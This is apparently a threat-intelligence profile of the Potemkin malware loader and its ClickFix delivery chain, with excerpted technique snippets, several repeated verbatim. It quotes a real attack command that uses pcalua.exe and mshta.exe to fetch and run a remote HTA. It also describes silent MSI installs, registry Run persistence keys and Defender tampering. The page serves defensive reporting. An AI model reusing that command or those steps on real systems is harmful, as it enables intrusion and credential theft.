Loading malware…
Potemkin is a custom x64 Windows malware loader used in ClickFix intrusions. Its delivery chain begins with a fake troubleshooting prompt on a compromised website that persuades a user to execute a command through the Windows Run dialog. The command abuses legitimate Windows utilities to retrieve an HTML Application payload, which silently installs an MSI package containing the loader. The installer establishes persistence through a per-user registry Run entry.
Potemkin discovers command-and-control infrastructure using a deterministic domain generation algorithm that produces 10,000 candidate domains from a built-in word list. It uses a custom byte cipher to protect its communications and DGA dictionary, maintains a persistent victim UUID, and registers with its server before polling for tasks. It retrieves follow-on DLL modules and reflectively loads them entirely in memory.
An observed payload is RMMProject, a LuaJIT-enabled remote access tool supporting browser credential and cookie theft, Chromium App-Bound Encryption bypass, hidden-desktop remote control, screenshots, process injection, and runtime module loading. These capabilities belong to the delivered payload rather than Potemkin itself. Intrusions involving Potemkin have also included subsequent EtherRAT deployment, attacker-operated tunnels, Windows Defender tampering, and lateral movement using compromised administrator credentials. One documented intrusion expanded across more than 11 Windows hosts, including a domain controller.
17 distinct techniques documented for this family, organized by ATT&CK tactic.
cmd /min /c "pcalua.exe -a mshta.exe -c hxxps://cl.distritovagas.com/hte[.]hta"
The HTA payload hides its window, uses WScript.Shell to run curl silently downloading an MSI
ClickFix is a social engineering trick that presents users with a fake troubleshooting instruction on a compromised website. The prompt tells the user to press Win+R, paste a command into the Windows Run dialog, and hit Enter.
The attack started with a ClickFix command that abused pcalua.exe to proxy mshta.exe, fetching a remote HTA file from cl.distritovagas[.]com. That HTA payload silently downloaded the MSI installer, inst24.msi, from an attacker-controlled server and executed it without any prompt.
They cycled through AMSI patches, registry policy writes... File Path C:\ProgramData\p\ek_full.ps1 Registry-based Defender disable script
The MSI deployed Potemkin into the user’s AppData folder and registered a startup registry key so it would survive every reboot. ... Registry Key HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RunSearch Potemkin loader persistence key ... HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\EdgeUpdate EtherRAT persistence key
The MSI deployed Potemkin into the user’s AppData folder and registered a startup registry key so it would survive every reboot. ... Registry Key HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RunSearch Potemkin loader persistence key ... HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\EdgeUpdate EtherRAT persistence key
MseKOytIWeVrP85.xml is the encrypted payload... Potemkin protects two categories of strings with a custom byte cipher
The infection began when a user visited a compromised website and ran a command that used pcalua.exe, a legitimate Windows utility, to silently fetch and run a remote script.
The attack started with a ClickFix command that abused pcalua.exe to proxy mshta.exe, fetching a remote HTA file from cl.distritovagas[.]com.
The HTA payload hides its window, uses WScript.Shell to run curl silently downloading an MSI from an attacker-controlled domain... then executes it via msiexec /qn for silent installation.
The HTA payload hides its window... conhost.exe, the legitimate Console Window Host, is invoked with --headless , which suppresses the console window
Once connected, its only job is to fetch and reflectively load RMMProject, a 4.4 MB DLL...
They cycled through AMSI patches, registry policy writes... File Path C:\ProgramData\p\ek_full.ps1 Registry-based Defender disable script
For each candidate domain, Potemkin sends an HTTP GET request to a fixed URL path... EtherRAT enters an endless polling loop. Each request goes to a freshly randomized URL
That script downloaded and installed an MSI package in the background with no visible indication to the user. Separately, the attacker deployed EtherRAT... Five hours later, the attacker dropped EtherRAT and set up a Cloudflare tunnel using a renamed copy of cloudflared.
The custom "Potemkin" loader used a deterministic DGA and custom cipher to deploy RMMProject. RMMProject RAT bypassed Chrome's App-Bound Encryption and embedded a LuaJIT scripting engine. The threat actors deployed EtherRAT...
Potemkin is a lean, purpose-built loader with a Domain Generation Algorithm that produces 10,000 candidate domains from a built-in word list and probes each one until it finds a live server.
The custom "Potemkin" loader used a deterministic DGA and custom cipher to deploy RMMProject.
18 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.
6 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.